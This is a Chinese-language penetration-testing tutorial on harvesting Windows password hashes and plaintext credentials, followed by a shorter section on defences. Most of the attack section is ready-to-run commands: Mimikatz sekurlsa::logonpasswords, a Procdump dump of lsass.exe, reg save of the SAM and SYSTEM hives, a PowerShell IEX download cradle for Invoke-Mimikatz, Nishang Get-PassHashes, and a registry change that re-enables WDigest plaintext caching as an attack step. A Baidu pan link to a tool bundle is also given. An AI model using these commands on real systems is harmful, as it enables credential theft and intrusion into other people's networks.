Windows系统密码抓取与防护
单机密码抓取与防范
LM Hash 和NTLM Hash
LM Hash(DES加密) 默认禁用,一般攻击者抓取的LM Hash值为aad3b435b51404eeaad3b435b51404ee 表示LM Hash为空值或被禁用 NTLM Hash(MD4加密) 真正是用户密码的哈希值 Windows操作系统中的密码一般由两部分组成: 一部分为LM Hash,另一部分为NTLM Hash。在Windows中,Hash的结构通常如下: Username:RID:LM-Hash:NT-Hash
(1) GetPass
https://bbs.pediy.com/thread-163383.htm
(2) PwDump7
下载地址:
https://www.openwall.com/passwords/windows-pwdump
https://www.tarasco.org/security/pwdump_7/
Pwdump7可以在CMD下提取出系统中的用户的密码hash (包括LM和NTLM),
需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。
通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,
对进一步渗透是有很大帮助的。
工具使用很简单,只需在命令行环境中运行Pwdump7程序,
即可得到当前系统中各个用户的密码Hash (包括LM和NTLM):
(3) Mimikatz
能够直接读取Windows操作系统的明文密码 最大的亮点就是他可以直接从 lsass.exe 进程中获取当前登录系统用户名的密码 登陆系统时输入密码之后,密码便会储存在lsass内存中, 而 mimikatz 正是通过对lsass获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统
注:但是在安装了KB2871997补丁或者系统版本大于win10或windows server 2012时,默认在内存缓存中禁止保存明文密码, 这样利用mimikatz就不能从内存中读出明文密码了,但可以通过修改注册表的方式抓取明文
privilege::debug // 提升至debug权限
sekurlsa::logonpasswords // 抓取密码
(4) Procdump
Procdump是微软官方发布的工具,所以杀软不会拦截,其可以用来将
目标lsass文件导出
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
先用在目标机器上传微软的工具Procdump,导出其lsass.exe:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
执行mimikatz导出lsass.dmp里面的密码和hash sekurlsa::minidump .\lsass.dmp // 将导出的lsass.dmp载入到mimikatz中 sekurlsa::logonpasswords full // 获取密码
(5) 通过SAM和System文件抓取密码
先利用注册表命令将目标机的sam或system文件导出,需要管理员权限:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
然后,将目标机上的sam.hive和system.hive下载到本地,
利用mimikatz读取sam和system文件获取NTLM Hash
(保证下载的文件和mimikatz在相同的目录下)
lsadump::sam /sam:sam.hive /system:system.hive
也可以直接使用mimikatz读取本地SAM文件,获得密码Hash:
privilege::debug
token::elevate
lsadump::sam
(6)Powershell脚本
使用powershell脚本加载mimikatz模块获取密码,该脚本位于
powersploit后渗透框架中
下载地址;
https://github.com/PowerShellMafia/PowerSploit
通过在目标机上远程下载执行该powershell脚本即可获取密码,需要管理员权限
脚本代码如下:
powershell -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('C:\Users\Administrator\Desktop\Procdump\ProcdumpInvoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
(7) Nishang的Get-PassHashes模块
以管理员身份打开Powershell环境
Import-Module .\Get-PassHashes.ps1
执行Get-PassHashes.ps1 导出散列值
(8) 单机密码抓取的防范方法
微软为了防止用户的明文密码在内存中泄露,发布了KB2871997补丁, 关闭了Wdigest功能。 Windows Server2012及以上版本默认关闭Wdigest,使攻击者无法从内存 中获取明文密码。Windows Server2012以下版本, 如果安装了KB2871997补丁,攻击者同样无法获取明文密码 在命令行环境开启或关闭Wdigest Auth,有如下两种方法
使用 red add命令 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f // 开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f // 关闭Wdigest Auth
攻击方法:需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令
防范黑客抓取明文密码和散列值
(1) 设置全局安全组
Server2012新增了一个全局安全组,只需要将用户加入到组中,
就无法使用mimikatz等工具抓取明文密码和散列值了
(2)安装KB2871997补丁
安装此补丁能够使本地账号不再被远程接入,但是系统默认的本地管理员账号Administrator这个SID为500的用户例外,即使将用户改名,但是SID任然是500,攻击者任然可以通过横向攻击方法获得内网中其他机器的控制权。
(3) 修改注册表键值禁止内存中存储明文密码
WDigest协议,能够将windows明文密码储存在内存中,方便用户登录本地计算机 命令行环境开启或关闭Wdigest Auth,有如下两种方法 方法(1): reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
方法(2): reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential 查询更改
(4) 防御mimikatz攻击(限制Debug权限)
mimikatz在抓取散列值或者明文密码时需要使用Debug权限,因为mimikatz需要和lsass进程进行交互。将拥有Debug权限的本地管理员从 Administrator组中删除。
工具链接 链接:https://pan.baidu.com/s/1hvr8KTIl6Zx8QJswkl-b8Q 提取码:dxjp
|